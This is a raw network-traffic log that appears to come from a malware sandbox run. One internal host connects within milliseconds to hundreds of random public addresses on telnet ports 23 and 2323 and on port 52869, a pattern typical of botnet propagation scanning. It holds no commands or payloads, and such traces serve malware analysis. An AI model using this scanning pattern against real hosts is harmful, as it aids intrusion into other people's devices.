Apr 15, 2024 08:51:54.226186991 CEST	4590	23	192.168.2.13	196.87.124.127
Apr 15, 2024 08:51:54.226190090 CEST	4590	23	192.168.2.13	99.46.11.247
Apr 15, 2024 08:51:54.226190090 CEST	4590	23	192.168.2.13	198.93.55.49
Apr 15, 2024 08:51:54.226197004 CEST	4590	23	192.168.2.13	212.108.94.45
Apr 15, 2024 08:51:54.226201057 CEST	4590	23	192.168.2.13	9.161.147.75
Apr 15, 2024 08:51:54.226202011 CEST	4590	23	192.168.2.13	86.13.171.140
Apr 15, 2024 08:51:54.226206064 CEST	4590	23	192.168.2.13	85.30.149.236
Apr 15, 2024 08:51:54.226211071 CEST	4590	23	192.168.2.13	207.123.104.5
Apr 15, 2024 08:51:54.226211071 CEST	4590	23	192.168.2.13	219.19.74.34
Apr 15, 2024 08:51:54.226231098 CEST	4590	23	192.168.2.13	89.125.44.23
Apr 15, 2024 08:51:54.226232052 CEST	4590	23	192.168.2.13	121.69.181.76
Apr 15, 2024 08:51:54.226234913 CEST	4590	2323	192.168.2.13	177.54.223.19
Apr 15, 2024 08:51:54.226241112 CEST	4590	23	192.168.2.13	57.84.63.185
Apr 15, 2024 08:51:54.226241112 CEST	4590	23	192.168.2.13	156.213.77.159
Apr 15, 2024 08:51:54.226264000 CEST	4590	23	192.168.2.13	216.163.74.120
Apr 15, 2024 08:51:54.226267099 CEST	4590	23	192.168.2.13	136.129.14.85
Apr 15, 2024 08:51:54.226279020 CEST	4590	23	192.168.2.13	211.151.170.236
Apr 15, 2024 08:51:54.226305962 CEST	4590	2323	192.168.2.13	145.241.168.134
Apr 15, 2024 08:51:54.226310968 CEST	4590	23	192.168.2.13	46.195.128.179
Apr 15, 2024 08:51:54.226315975 CEST	4590	23	192.168.2.13	17.107.194.243
Apr 15, 2024 08:51:54.226322889 CEST	4590	23	192.168.2.13	125.201.242.71
Apr 15, 2024 08:51:54.226330042 CEST	4590	23	192.168.2.13	14.192.147.199
Apr 15, 2024 08:51:54.226335049 CEST	4590	23	192.168.2.13	195.199.247.251
Apr 15, 2024 08:51:54.226337910 CEST	4590	23	192.168.2.13	108.244.74.129
Apr 15, 2024 08:51:54.226362944 CEST	4590	23	192.168.2.13	123.192.139.193
Apr 15, 2024 08:51:54.226383924 CEST	4590	23	192.168.2.13	168.123.143.33
Apr 15, 2024 08:51:54.226383924 CEST	4590	23	192.168.2.13	220.155.63.77
Apr 15, 2024 08:51:54.226394892 CEST	4590	23	192.168.2.13	115.229.55.90
Apr 15, 2024 08:51:54.226409912 CEST	4590	23	192.168.2.13	189.48.117.111
Apr 15, 2024 08:51:54.226422071 CEST	4590	23	192.168.2.13	86.156.183.45
Apr 15, 2024 08:51:54.226422071 CEST	4590	2323	192.168.2.13	68.233.254.46
Apr 15, 2024 08:51:54.226423025 CEST	4590	23	192.168.2.13	90.214.22.16
Apr 15, 2024 08:51:54.226435900 CEST	4590	23	192.168.2.13	92.109.176.109
Apr 15, 2024 08:51:54.226438046 CEST	4590	23	192.168.2.13	197.38.223.215
Apr 15, 2024 08:51:54.226444006 CEST	4590	23	192.168.2.13	155.51.218.155
Apr 15, 2024 08:51:54.226454973 CEST	4590	23	192.168.2.13	202.213.8.40
Apr 15, 2024 08:51:54.226469994 CEST	4590	23	192.168.2.13	84.127.191.154
Apr 15, 2024 08:51:54.226470947 CEST	4590	23	192.168.2.13	213.248.81.139
Apr 15, 2024 08:51:54.226474047 CEST	4590	23	192.168.2.13	220.250.66.143
Apr 15, 2024 08:51:54.226480961 CEST	4590	2323	192.168.2.13	94.62.161.206
Apr 15, 2024 08:51:54.226500034 CEST	4590	23	192.168.2.13	140.179.27.84
Apr 15, 2024 08:51:54.226511002 CEST	4590	23	192.168.2.13	217.8.96.222
Apr 15, 2024 08:51:54.226511002 CEST	4590	23	192.168.2.13	120.117.178.108
Apr 15, 2024 08:51:54.226511002 CEST	4590	23	192.168.2.13	135.237.176.15
Apr 15, 2024 08:51:54.226528883 CEST	4590	23	192.168.2.13	115.222.86.101
Apr 15, 2024 08:51:54.226550102 CEST	4590	23	192.168.2.13	186.151.53.244
Apr 15, 2024 08:51:54.226551056 CEST	4590	23	192.168.2.13	57.39.99.247
Apr 15, 2024 08:51:54.226555109 CEST	4590	23	192.168.2.13	150.201.199.198
Apr 15, 2024 08:51:54.226561069 CEST	4590	23	192.168.2.13	116.103.79.147
Apr 15, 2024 08:51:54.226562023 CEST	4590	23	192.168.2.13	41.194.121.42
Apr 15, 2024 08:51:54.226562023 CEST	4590	2323	192.168.2.13	197.6.195.244
Apr 15, 2024 08:51:54.226583958 CEST	4590	23	192.168.2.13	57.173.252.108
Apr 15, 2024 08:51:54.226587057 CEST	4590	23	192.168.2.13	45.160.50.97
Apr 15, 2024 08:51:54.226587057 CEST	4590	23	192.168.2.13	122.193.47.226
Apr 15, 2024 08:51:54.226588011 CEST	4590	23	192.168.2.13	24.70.149.78
Apr 15, 2024 08:51:54.226603031 CEST	4590	23	192.168.2.13	219.55.218.104
Apr 15, 2024 08:51:54.226634026 CEST	4590	23	192.168.2.13	112.124.136.133
Apr 15, 2024 08:51:54.226639032 CEST	4590	23	192.168.2.13	126.167.180.104
Apr 15, 2024 08:51:54.226639032 CEST	4590	23	192.168.2.13	177.61.177.8
Apr 15, 2024 08:51:54.226645947 CEST	4590	2323	192.168.2.13	92.226.191.54
Apr 15, 2024 08:51:54.226655960 CEST	4590	23	192.168.2.13	83.236.243.208
Apr 15, 2024 08:51:54.226666927 CEST	4590	23	192.168.2.13	42.225.80.11
Apr 15, 2024 08:51:54.226667881 CEST	4590	23	192.168.2.13	206.202.250.101
Apr 15, 2024 08:51:54.226682901 CEST	4590	23	192.168.2.13	189.109.202.137
Apr 15, 2024 08:51:54.226696014 CEST	4590	23	192.168.2.13	73.73.175.49
Apr 15, 2024 08:51:54.226697922 CEST	4590	23	192.168.2.13	96.234.24.18
Apr 15, 2024 08:51:54.226727962 CEST	4590	23	192.168.2.13	77.210.125.89
Apr 15, 2024 08:51:54.226727962 CEST	3310	52869	192.168.2.13	142.248.183.71
Apr 15, 2024 08:51:54.226747036 CEST	4590	23	192.168.2.13	35.241.234.106
Apr 15, 2024 08:51:54.226747036 CEST	3310	52869	192.168.2.13	18.21.99.120
Apr 15, 2024 08:51:54.226751089 CEST	3310	52869	192.168.2.13	136.152.55.71
Apr 15, 2024 08:51:54.226758957 CEST	4590	2323	192.168.2.13	108.136.57.21
Apr 15, 2024 08:51:54.226767063 CEST	4590	23	192.168.2.13	201.51.27.75
Apr 15, 2024 08:51:54.226767063 CEST	3310	52869	192.168.2.13	171.198.241.71
Apr 15, 2024 08:51:54.226782084 CEST	3310	52869	192.168.2.13	120.62.133.224
Apr 15, 2024 08:51:54.226782084 CEST	4590	23	192.168.2.13	27.209.172.202
Apr 15, 2024 08:51:54.226782084 CEST	4590	23	192.168.2.13	123.243.195.62
Apr 15, 2024 08:51:54.226783037 CEST	3310	52869	192.168.2.13	152.154.209.90
Apr 15, 2024 08:51:54.226785898 CEST	4590	23	192.168.2.13	62.35.76.245
Apr 15, 2024 08:51:54.226789951 CEST	4590	23	192.168.2.13	183.15.31.26
Apr 15, 2024 08:51:54.226807117 CEST	4590	23	192.168.2.13	123.238.194.240
Apr 15, 2024 08:51:54.226819038 CEST	4590	23	192.168.2.13	82.192.33.96
Apr 15, 2024 08:51:54.226824999 CEST	4590	23	192.168.2.13	149.61.25.28
Apr 15, 2024 08:51:54.226844072 CEST	4590	23	192.168.2.13	171.145.62.229
Apr 15, 2024 08:51:54.226845980 CEST	4590	2323	192.168.2.13	79.166.176.45
Apr 15, 2024 08:51:54.226871014 CEST	4590	23	192.168.2.13	221.66.235.132
Apr 15, 2024 08:51:54.226871014 CEST	4590	23	192.168.2.13	17.33.161.134
Apr 15, 2024 08:51:54.226878881 CEST	4590	23	192.168.2.13	124.101.125.51
Apr 15, 2024 08:51:54.226880074 CEST	4590	23	192.168.2.13	207.139.189.127
Apr 15, 2024 08:51:54.226881027 CEST	4590	23	192.168.2.13	99.245.241.126
Apr 15, 2024 08:51:54.226881027 CEST	4590	23	192.168.2.13	155.94.208.192
Apr 15, 2024 08:51:54.226883888 CEST	4590	23	192.168.2.13	190.1.255.187
Apr 15, 2024 08:51:54.226892948 CEST	4590	23	192.168.2.13	190.248.235.40
Apr 15, 2024 08:51:54.226898909 CEST	4590	23	192.168.2.13	220.89.202.23
Apr 15, 2024 08:51:54.226898909 CEST	4590	23	192.168.2.13	182.29.50.96
Apr 15, 2024 08:51:54.226898909 CEST	4590	2323	192.168.2.13	129.58.84.115
Apr 15, 2024 08:51:54.226922035 CEST	3310	52869	192.168.2.13	191.21.180.96
Apr 15, 2024 08:51:54.226933002 CEST	4590	23	192.168.2.13	88.70.195.240
Apr 15, 2024 08:51:54.226933002 CEST	4590	23	192.168.2.13	2.31.131.159
Apr 15, 2024 08:51:54.226934910 CEST	4590	23	192.168.2.13	44.74.23.184
Apr 15, 2024 08:51:54.226934910 CEST	4590	23	192.168.2.13	14.24.6.214
Apr 15, 2024 08:51:54.226936102 CEST	4590	23	192.168.2.13	63.20.223.171
Apr 15, 2024 08:51:54.226934910 CEST	4590	23	192.168.2.13	59.58.65.251
Apr 15, 2024 08:51:54.226936102 CEST	3310	52869	192.168.2.13	219.133.63.246
Apr 15, 2024 08:51:54.226939917 CEST	3310	52869	192.168.2.13	124.27.128.252
Apr 15, 2024 08:51:54.226947069 CEST	3310	52869	192.168.2.13	1.7.127.75
Apr 15, 2024 08:51:54.226948023 CEST	3310	52869	192.168.2.13	208.56.121.68
Apr 15, 2024 08:51:54.226952076 CEST	3310	52869	192.168.2.13	110.108.88.195
Apr 15, 2024 08:51:54.226952076 CEST	4590	23	192.168.2.13	49.165.114.72
Apr 15, 2024 08:51:54.226952076 CEST	3310	52869	192.168.2.13	154.244.12.32
Apr 15, 2024 08:51:54.226952076 CEST	3310	52869	192.168.2.13	5.105.105.61
Apr 15, 2024 08:51:54.226952076 CEST	3310	52869	192.168.2.13	125.150.95.44
Apr 15, 2024 08:51:54.226958036 CEST	3310	52869	192.168.2.13	39.229.18.191
Apr 15, 2024 08:51:54.226958990 CEST	4590	23	192.168.2.13	197.30.201.205
Apr 15, 2024 08:51:54.226958990 CEST	3310	52869	192.168.2.13	187.87.79.141
Apr 15, 2024 08:51:54.226959944 CEST	4590	23	192.168.2.13	102.234.102.44
Apr 15, 2024 08:51:54.226958990 CEST	3310	52869	192.168.2.13	163.105.145.44
Apr 15, 2024 08:51:54.226958990 CEST	4590	23	192.168.2.13	149.74.56.144
Apr 15, 2024 08:51:54.226969957 CEST	3310	52869	192.168.2.13	172.203.144.43
Apr 15, 2024 08:51:54.226983070 CEST	3310	52869	192.168.2.13	117.170.252.237
Apr 15, 2024 08:51:54.226983070 CEST	4590	23	192.168.2.13	143.100.250.28
Apr 15, 2024 08:51:54.226983070 CEST	3310	52869	192.168.2.13	111.60.83.30
Apr 15, 2024 08:51:54.226983070 CEST	3310	52869	192.168.2.13	102.180.42.32
Apr 15, 2024 08:51:54.226983070 CEST	4590	23	192.168.2.13	74.209.168.217
Apr 15, 2024 08:51:54.226986885 CEST	3310	52869	192.168.2.13	121.21.130.19
Apr 15, 2024 08:51:54.226988077 CEST	4590	23	192.168.2.13	99.1.207.127
Apr 15, 2024 08:51:54.226988077 CEST	3310	52869	192.168.2.13	223.136.199.205
Apr 15, 2024 08:51:54.226986885 CEST	4590	23	192.168.2.13	89.213.44.112
Apr 15, 2024 08:51:54.226988077 CEST	4590	23	192.168.2.13	193.141.113.231
Apr 15, 2024 08:51:54.226986885 CEST	4590	23	192.168.2.13	145.79.55.140
Apr 15, 2024 08:51:54.226988077 CEST	4590	2323	192.168.2.13	40.147.50.242
Apr 15, 2024 08:51:54.226988077 CEST	4590	23	192.168.2.13	64.200.233.242
Apr 15, 2024 08:51:54.226988077 CEST	3310	52869	192.168.2.13	108.91.174.24
Apr 15, 2024 08:51:54.226988077 CEST	3310	52869	192.168.2.13	52.16.185.34
Apr 15, 2024 08:51:54.226988077 CEST	3310	52869	192.168.2.13	99.141.91.163
Apr 15, 2024 08:51:54.226988077 CEST	3310	52869	192.168.2.13	218.169.146.44
Apr 15, 2024 08:51:54.227006912 CEST	3310	52869	192.168.2.13	8.142.41.83
Apr 15, 2024 08:51:54.227006912 CEST	3310	52869	192.168.2.13	89.229.41.82
Apr 15, 2024 08:51:54.227006912 CEST	4590	23	192.168.2.13	134.235.53.185
Apr 15, 2024 08:51:54.227006912 CEST	4590	23	192.168.2.13	190.98.61.39
Apr 15, 2024 08:51:54.227006912 CEST	4590	23	192.168.2.13	196.195.251.246
Apr 15, 2024 08:51:54.227016926 CEST	4590	2323	192.168.2.13	111.212.87.251
Apr 15, 2024 08:51:54.227016926 CEST	4590	23	192.168.2.13	102.159.185.94
Apr 15, 2024 08:51:54.227019072 CEST	4590	23	192.168.2.13	159.72.15.210
Apr 15, 2024 08:51:54.227019072 CEST	4590	23	192.168.2.13	73.235.254.0
Apr 15, 2024 08:51:54.227021933 CEST	3310	52869	192.168.2.13	80.42.103.142
Apr 15, 2024 08:51:54.227021933 CEST	4590	2323	192.168.2.13	193.77.22.197
Apr 15, 2024 08:51:54.227041960 CEST	4590	23	192.168.2.13	96.170.197.45
Apr 15, 2024 08:51:54.227055073 CEST	4590	23	192.168.2.13	47.53.128.203
Apr 15, 2024 08:51:54.227055073 CEST	4590	23	192.168.2.13	65.208.57.29
Apr 15, 2024 08:51:54.227055073 CEST	4590	23	192.168.2.13	63.124.59.8
Apr 15, 2024 08:51:54.227057934 CEST	4590	23	192.168.2.13	110.149.79.186
Apr 15, 2024 08:51:54.227060080 CEST	4590	23	192.168.2.13	188.110.77.15
Apr 15, 2024 08:51:54.227061033 CEST	4590	23	192.168.2.13	218.85.62.194
Apr 15, 2024 08:51:54.227065086 CEST	4590	23	192.168.2.13	94.218.238.253
Apr 15, 2024 08:51:54.227077961 CEST	4590	23	192.168.2.13	188.154.235.238
Apr 15, 2024 08:51:54.227082014 CEST	4590	23	192.168.2.13	118.18.40.56
Apr 15, 2024 08:51:54.227082968 CEST	4590	23	192.168.2.13	5.104.21.37
Apr 15, 2024 08:51:54.227082968 CEST	3310	52869	192.168.2.13	175.25.92.135
Apr 15, 2024 08:51:54.227082968 CEST	4590	23	192.168.2.13	63.246.199.29
Apr 15, 2024 08:51:54.227093935 CEST	4590	23	192.168.2.13	42.117.137.242
Apr 15, 2024 08:51:54.227098942 CEST	4590	2323	192.168.2.13	177.170.156.148
Apr 15, 2024 08:51:54.227107048 CEST	4590	23	192.168.2.13	166.235.162.227
Apr 15, 2024 08:51:54.227107048 CEST	3310	52869	192.168.2.13	201.140.58.156
Apr 15, 2024 08:51:54.227108002 CEST	3310	52869	192.168.2.13	77.102.216.8
Apr 15, 2024 08:51:54.227129936 CEST	4590	23	192.168.2.13	4.123.134.58
Apr 15, 2024 08:51:54.227138996 CEST	3310	52869	192.168.2.13	191.188.174.112
Apr 15, 2024 08:51:54.227149010 CEST	4590	23	192.168.2.13	176.206.28.75
Apr 15, 2024 08:51:54.227149010 CEST	3310	52869	192.168.2.13	86.115.245.160
Apr 15, 2024 08:51:54.227157116 CEST	3310	52869	192.168.2.13	129.119.93.212
Apr 15, 2024 08:51:54.227164984 CEST	4590	23	192.168.2.13	98.114.238.140
Apr 15, 2024 08:51:54.227170944 CEST	3310	52869	192.168.2.13	57.33.61.131
Apr 15, 2024 08:51:54.227171898 CEST	3310	52869	192.168.2.13	130.251.15.236
Apr 15, 2024 08:51:54.227180004 CEST	3310	52869	192.168.2.13	182.143.222.112
Apr 15, 2024 08:51:54.227180004 CEST	4590	23	192.168.2.13	4.231.113.82
Apr 15, 2024 08:51:54.227180004 CEST	3310	52869	192.168.2.13	134.221.4.233
Apr 15, 2024 08:51:54.227190018 CEST	3310	52869	192.168.2.13	152.218.239.187
Apr 15, 2024 08:51:54.227193117 CEST	4590	23	192.168.2.13	150.53.131.193
Apr 15, 2024 08:51:54.227193117 CEST	3310	52869	192.168.2.13	223.161.61.123
Apr 15, 2024 08:51:54.227202892 CEST	4590	23	192.168.2.13	148.0.28.236
Apr 15, 2024 08:51:54.227205992 CEST	4590	23	192.168.2.13	75.51.169.103
Apr 15, 2024 08:51:54.227210999 CEST	3310	52869	192.168.2.13	178.32.246.97
Apr 15, 2024 08:51:54.227210999 CEST	4590	23	192.168.2.13	73.141.61.64
Apr 15, 2024 08:51:54.227215052 CEST	4590	2323	192.168.2.13	115.104.104.162
Apr 15, 2024 08:51:54.227215052 CEST	3310	52869	192.168.2.13	35.112.212.156
Apr 15, 2024 08:51:54.227247000 CEST	3310	52869	192.168.2.13	210.92.135.208
Apr 15, 2024 08:51:54.227281094 CEST	4590	23	192.168.2.13	124.107.127.11
Apr 15, 2024 08:51:54.227281094 CEST	4590	23	192.168.2.13	122.123.110.123
Apr 15, 2024 08:51:54.227296114 CEST	4590	23	192.168.2.13	87.184.83.191
Apr 15, 2024 08:51:54.227296114 CEST	4590	23	192.168.2.13	195.185.106.127
Apr 15, 2024 08:51:54.227318048 CEST	4590	23	192.168.2.13	19.50.138.3
Apr 15, 2024 08:51:54.227318048 CEST	4590	23	192.168.2.13	182.63.114.189
Apr 15, 2024 08:51:54.227339029 CEST	4590	23	192.168.2.13	57.158.66.156
Apr 15, 2024 08:51:54.227339029 CEST	3310	52869	192.168.2.13	206.213.18.72
Apr 15, 2024 08:51:54.227344990 CEST	3310	52869	192.168.2.13	36.25.227.130
Apr 15, 2024 08:51:54.227355003 CEST	4590	23	192.168.2.13	219.74.235.184
Apr 15, 2024 08:51:54.227360010 CEST	3310	52869	192.168.2.13	155.180.52.165
Apr 15, 2024 08:51:54.227363110 CEST	4590	23	192.168.2.13	67.113.205.140
Apr 15, 2024 08:51:54.227363110 CEST	3310	52869	192.168.2.13	157.125.17.69
Apr 15, 2024 08:51:54.227370977 CEST	3310	52869	192.168.2.13	82.12.65.38
Apr 15, 2024 08:51:54.227370977 CEST	3310	52869	192.168.2.13	12.192.4.6
Apr 15, 2024 08:51:54.227375031 CEST	3310	52869	192.168.2.13	157.212.178.129
Apr 15, 2024 08:51:54.227376938 CEST	4590	2323	192.168.2.13	198.141.253.155
Apr 15, 2024 08:51:54.227381945 CEST	3310	52869	192.168.2.13	20.234.121.189
Apr 15, 2024 08:51:54.227387905 CEST	3310	52869	192.168.2.13	154.195.181.184
Apr 15, 2024 08:51:54.227394104 CEST	4590	23	192.168.2.13	103.123.249.215
Apr 15, 2024 08:51:54.227394104 CEST	3310	52869	192.168.2.13	172.127.85.166
Apr 15, 2024 08:51:54.227401018 CEST	4590	23	192.168.2.13	102.83.186.123
Apr 15, 2024 08:51:54.227404118 CEST	3310	52869	192.168.2.13	123.229.178.147
Apr 15, 2024 08:51:54.227406025 CEST	4590	23	192.168.2.13	70.226.190.204
Apr 15, 2024 08:51:54.227406025 CEST	3310	52869	192.168.2.13	25.221.245.120
Apr 15, 2024 08:51:54.227406979 CEST	4590	23	192.168.2.13	85.196.89.249
Apr 15, 2024 08:51:54.227406025 CEST	4590	2323	192.168.2.13	141.61.142.50
Apr 15, 2024 08:51:54.227406979 CEST	4590	23	192.168.2.13	170.197.188.131
Apr 15, 2024 08:51:54.227411032 CEST	3310	52869	192.168.2.13	212.221.201.209
Apr 15, 2024 08:51:54.227411032 CEST	4590	23	192.168.2.13	24.60.68.50
Apr 15, 2024 08:51:54.227417946 CEST	3310	52869	192.168.2.13	195.231.255.179
Apr 15, 2024 08:51:54.227417946 CEST	4590	23	192.168.2.13	115.182.229.78
Apr 15, 2024 08:51:54.227430105 CEST	4590	23	192.168.2.13	65.146.87.203
Apr 15, 2024 08:51:54.227431059 CEST	4590	23	192.168.2.13	47.81.130.63
Apr 15, 2024 08:51:54.227432966 CEST	4590	23	192.168.2.13	205.33.22.212
Apr 15, 2024 08:51:54.227443933 CEST	3310	52869	192.168.2.13	196.150.195.238
Apr 15, 2024 08:51:54.227453947 CEST	4590	23	192.168.2.13	98.186.227.94
Apr 15, 2024 08:51:54.227453947 CEST	3310	52869	192.168.2.13	112.152.198.98
Apr 15, 2024 08:51:54.227454901 CEST	4590	23	192.168.2.13	207.138.226.247
Apr 15, 2024 08:51:54.227458954 CEST	3310	52869	192.168.2.13	103.52.163.96
Apr 15, 2024 08:51:54.227463007 CEST	3310	52869	192.168.2.13	220.179.31.137
Apr 15, 2024 08:51:54.227477074 CEST	3310	52869	192.168.2.13	51.13.134.82
Apr 15, 2024 08:51:54.227477074 CEST	3310	52869	192.168.2.13	165.16.94.171
Apr 15, 2024 08:51:54.227477074 CEST	3310	52869	192.168.2.13	153.237.216.92
Apr 15, 2024 08:51:54.227477074 CEST	3310	52869	192.168.2.13	201.47.65.96
Apr 15, 2024 08:51:54.227477074 CEST	4590	23	192.168.2.13	117.54.3.88
Apr 15, 2024 08:51:54.227477074 CEST	3310	52869	192.168.2.13	207.159.40.23
Apr 15, 2024 08:51:54.227484941 CEST	3310	52869	192.168.2.13	102.22.60.33
Apr 15, 2024 08:51:54.227484941 CEST	4590	23	192.168.2.13	158.246.135.135
Apr 15, 2024 08:51:54.227495909 CEST	3310	52869	192.168.2.13	148.219.223.91
Apr 15, 2024 08:51:54.227495909 CEST	4590	23	192.168.2.13	46.193.3.222
Apr 15, 2024 08:51:54.227495909 CEST	3310	52869	192.168.2.13	189.43.205.82
Apr 15, 2024 08:51:54.227497101 CEST	4590	23	192.168.2.13	172.61.42.189
Apr 15, 2024 08:51:54.227497101 CEST	3310	52869	192.168.2.13	85.194.152.93
Apr 15, 2024 08:51:54.227499008 CEST	3310	52869	192.168.2.13	143.173.176.198
Apr 15, 2024 08:51:54.227499008 CEST	3310	52869	192.168.2.13	23.27.106.172
Apr 15, 2024 08:51:54.227499008 CEST	3310	52869	192.168.2.13	177.234.35.203
Apr 15, 2024 08:51:54.227499962 CEST	3310	52869	192.168.2.13	175.127.187.233
Apr 15, 2024 08:51:54.227507114 CEST	3310	52869	192.168.2.13	122.6.31.234
Apr 15, 2024 08:51:54.227508068 CEST	4590	23	192.168.2.13	139.109.245.166
Apr 15, 2024 08:51:54.227510929 CEST	3310	52869	192.168.2.13	216.231.210.79
Apr 15, 2024 08:51:54.227518082 CEST	3310	52869	192.168.2.13	210.60.20.170
Apr 15, 2024 08:51:54.227518082 CEST	4590	2323	192.168.2.13	142.206.229.71
Apr 15, 2024 08:51:54.227521896 CEST	3310	52869	192.168.2.13	136.250.4.58
Apr 15, 2024 08:51:54.227523088 CEST	3310	52869	192.168.2.13	112.198.49.46
Apr 15, 2024 08:51:54.227521896 CEST	4590	23	192.168.2.13	168.37.24.30
Apr 15, 2024 08:51:54.227525949 CEST	4590	23	192.168.2.13	8.224.36.110
Apr 15, 2024 08:51:54.227528095 CEST	4590	23	192.168.2.13	175.218.0.210
Apr 15, 2024 08:51:54.227529049 CEST	4590	23	192.168.2.13	187.124.92.94
Apr 15, 2024 08:51:54.227530003 CEST	4590	23	192.168.2.13	8.216.99.247
Apr 15, 2024 08:51:54.227545023 CEST	4590	23	192.168.2.13	159.129.85.247
Apr 15, 2024 08:51:54.227550983 CEST	4590	23	192.168.2.13	69.232.139.45
Apr 15, 2024 08:51:54.227572918 CEST	4590	23	192.168.2.13	89.45.163.61
Apr 15, 2024 08:51:54.227576971 CEST	4590	23	192.168.2.13	195.51.66.160
Apr 15, 2024 08:51:54.227586985 CEST	4590	23	192.168.2.13	106.26.5.221
Apr 15, 2024 08:51:54.227591991 CEST	4590	2323	192.168.2.13	59.219.207.3
Apr 15, 2024 08:51:54.227591991 CEST	4590	23	192.168.2.13	223.33.49.162
Apr 15, 2024 08:51:54.227596045 CEST	4590	23	192.168.2.13	130.134.243.78
Apr 15, 2024 08:51:54.227596045 CEST	4590	23	192.168.2.13	102.71.167.110
Apr 15, 2024 08:51:54.227598906 CEST	4590	23	192.168.2.13	183.81.168.121
Apr 15, 2024 08:51:54.227605104 CEST	4590	23	192.168.2.13	77.188.51.126
Apr 15, 2024 08:51:54.227632046 CEST	4590	23	192.168.2.13	95.184.229.221
Apr 15, 2024 08:51:54.227636099 CEST	4590	23	192.168.2.13	217.88.6.206
Apr 15, 2024 08:51:54.227641106 CEST	4590	23	192.168.2.13	103.181.236.88
Apr 15, 2024 08:51:54.227642059 CEST	4590	23	192.168.2.13	220.52.32.142
Apr 15, 2024 08:51:54.227659941 CEST	4590	2323	192.168.2.13	198.141.9.101
Apr 15, 2024 08:51:54.227659941 CEST	4590	23	192.168.2.13	152.56.64.55
Apr 15, 2024 08:51:54.227665901 CEST	4590	23	192.168.2.13	88.226.185.110
Apr 15, 2024 08:51:54.227678061 CEST	4590	23	192.168.2.13	87.15.63.208
Apr 15, 2024 08:51:54.227686882 CEST	4590	23	192.168.2.13	64.128.109.31
Apr 15, 2024 08:51:54.227691889 CEST	4590	23	192.168.2.13	132.68.80.85
Apr 15, 2024 08:51:54.227694035 CEST	4590	23	192.168.2.13	182.206.127.186
Apr 15, 2024 08:51:54.227699041 CEST	3310	52869	192.168.2.13	219.155.57.78
Apr 15, 2024 08:51:54.227721930 CEST	3310	52869	192.168.2.13	212.242.114.136
Apr 15, 2024 08:51:54.227721930 CEST	3310	52869	192.168.2.13	20.20.61.242
Apr 15, 2024 08:51:54.227721930 CEST	3310	52869	192.168.2.13	8.125.98.55
Apr 15, 2024 08:51:54.227727890 CEST	3310	52869	192.168.2.13	221.240.120.187
Apr 15, 2024 08:51:54.227729082 CEST	3310	52869	192.168.2.13	88.136.118.111
Apr 15, 2024 08:51:54.227727890 CEST	3310	52869	192.168.2.13	13.149.151.70
Apr 15, 2024 08:51:54.227732897 CEST	3310	52869	192.168.2.13	112.63.108.71
Apr 15, 2024 08:51:54.227739096 CEST	3310	52869	192.168.2.13	126.252.217.190
Apr 15, 2024 08:51:54.227739096 CEST	3310	52869	192.168.2.13	183.72.240.100
Apr 15, 2024 08:51:54.227742910 CEST	3310	52869	192.168.2.13	132.239.20.15
Apr 15, 2024 08:51:54.227749109 CEST	3310	52869	192.168.2.13	58.165.98.125
Apr 15, 2024 08:51:54.227749109 CEST	3310	52869	192.168.2.13	180.143.117.0
Apr 15, 2024 08:51:54.227751017 CEST	4590	23	192.168.2.13	152.234.20.76
Apr 15, 2024 08:51:54.227751017 CEST	3310	52869	192.168.2.13	76.164.4.175
Apr 15, 2024 08:51:54.227766991 CEST	4590	23	192.168.2.13	91.62.59.119
Apr 15, 2024 08:51:54.227768898 CEST	3310	52869	192.168.2.13	120.156.13.177
Apr 15, 2024 08:51:54.227768898 CEST	3310	52869	192.168.2.13	219.228.101.60
Apr 15, 2024 08:51:54.227771044 CEST	4590	23	192.168.2.13	151.45.125.123
Apr 15, 2024 08:51:54.227771044 CEST	4590	23	192.168.2.13	92.72.127.60
Apr 15, 2024 08:51:54.227771997 CEST	4590	2323	192.168.2.13	223.113.53.39
Apr 15, 2024 08:51:54.227786064 CEST	3310	52869	192.168.2.13	34.186.60.236
Apr 15, 2024 08:51:54.227790117 CEST	4590	23	192.168.2.13	194.121.18.99
Apr 15, 2024 08:51:54.227790117 CEST	4590	23	192.168.2.13	174.193.214.123
Apr 15, 2024 08:51:54.227791071 CEST	4590	23	192.168.2.13	199.22.94.255
Apr 15, 2024 08:51:54.227792025 CEST	3310	52869	192.168.2.13	8.235.239.183
Apr 15, 2024 08:51:54.227791071 CEST	3310	52869	192.168.2.13	132.101.120.5
Apr 15, 2024 08:51:54.227792025 CEST	4590	23	192.168.2.13	32.150.206.85
Apr 15, 2024 08:51:54.227791071 CEST	3310	52869	192.168.2.13	109.15.207.99
Apr 15, 2024 08:51:54.227792025 CEST	4590	23	192.168.2.13	130.86.121.134
Apr 15, 2024 08:51:54.227791071 CEST	3310	52869	192.168.2.13	13.130.205.205
Apr 15, 2024 08:51:54.227801085 CEST	4590	23	192.168.2.13	110.247.227.139
Apr 15, 2024 08:51:54.227802038 CEST	3310	52869	192.168.2.13	108.43.209.253
Apr 15, 2024 08:51:54.227802038 CEST	3310	52869	192.168.2.13	149.122.237.224
Apr 15, 2024 08:51:54.227802038 CEST	4590	23	192.168.2.13	113.216.134.201
Apr 15, 2024 08:51:54.227806091 CEST	4590	2323	192.168.2.13	19.122.54.87
Apr 15, 2024 08:51:54.227806091 CEST	3310	52869	192.168.2.13	41.73.218.252
Apr 15, 2024 08:51:54.227806091 CEST	4590	23	192.168.2.13	52.142.8.120
Apr 15, 2024 08:51:54.227806091 CEST	3310	52869	192.168.2.13	75.208.149.203
Apr 15, 2024 08:51:54.227809906 CEST	3310	52869	192.168.2.13	205.87.121.46
Apr 15, 2024 08:51:54.227809906 CEST	4590	2323	192.168.2.13	67.70.111.141
Apr 15, 2024 08:51:54.227812052 CEST	4590	23	192.168.2.13	62.189.124.185
Apr 15, 2024 08:51:54.227812052 CEST	4590	23	192.168.2.13	23.157.133.86
Apr 15, 2024 08:51:54.227813959 CEST	3310	52869	192.168.2.13	185.16.106.235
Apr 15, 2024 08:51:54.227813959 CEST	4590	23	192.168.2.13	12.38.201.251
Apr 15, 2024 08:51:54.227813959 CEST	4590	23	192.168.2.13	71.19.197.40
Apr 15, 2024 08:51:54.227833986 CEST	4590	23	192.168.2.13	138.219.104.167
Apr 15, 2024 08:51:54.227833986 CEST	4590	23	192.168.2.13	165.71.130.16
Apr 15, 2024 08:51:54.227839947 CEST	4590	23	192.168.2.13	89.99.25.136
Apr 15, 2024 08:51:54.227847099 CEST	4590	23	192.168.2.13	164.103.100.23
Apr 15, 2024 08:51:54.227847099 CEST	3310	52869	192.168.2.13	72.9.227.98
Apr 15, 2024 08:51:54.227850914 CEST	3310	52869	192.168.2.13	222.77.246.126
